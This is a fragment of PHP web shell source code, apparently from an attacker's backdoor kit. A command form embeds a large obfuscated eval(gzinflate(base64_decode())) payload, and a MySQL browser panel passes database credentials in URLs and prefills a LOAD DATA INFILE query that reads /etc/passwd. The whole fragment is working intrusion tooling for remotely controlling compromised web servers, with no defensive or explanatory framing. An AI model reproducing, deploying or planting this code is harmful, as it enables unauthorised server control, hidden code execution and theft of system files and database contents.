<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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'))); ?></textarea>
</td>
</tr>
<tr>
<td>
<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
</td>
</tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
{
if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
{
$sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
{
$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
$msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&
sqlhost=".$sqlhost."&sqluser=".$sqluser."&
sqlpass=".$sqlpass."&
sqlport=".$sqlport."&\">[ databases ]</a>";
if(isset($_GET['db']))
$msg .= " <span class=\"gaya\">-></span>
<a href=\"y=".$pwd."&x=mysql&
sqlhost=".$sqlhost."&sqluser=".$sqluser."&
sqlpass=".$sqlpass."&
sqlport=".$sqlport."&
db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table']))
$msg .= " <span class=\"gaya\">->
</span>
<a href=\"y=".$pwd."&x=mysql&
sqlhost=".$sqlhost."&sqluser=".$sqluser."&
sqlpass=".$sqlpass."&sqlport=".$sqlport."&
db=".$_GET['db']."&
table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
$msg .= "</div>";
echo $msg;
if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
{
$db = $_GET['db'];
$query = "DROP TABLE IF EXISTS 3vil6660_table;
CREATE TABLE `3vil6660_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE Z3r0Z3r0_table;SELECT * FROM 3vil6660_table;
DROP TABLE IF EXISTS 3vil6660_table;";
$msg = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
$tables = array();
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_fetch_row($hasil))
{ @array_push($tables,$table); }
@sort($tables);
foreach($tables as $table)
{
$msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
}
$msg .= "</table>";
}
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
{
$db = $_GET['db'];
$table = $_GET['table'];
$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
$msgq = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
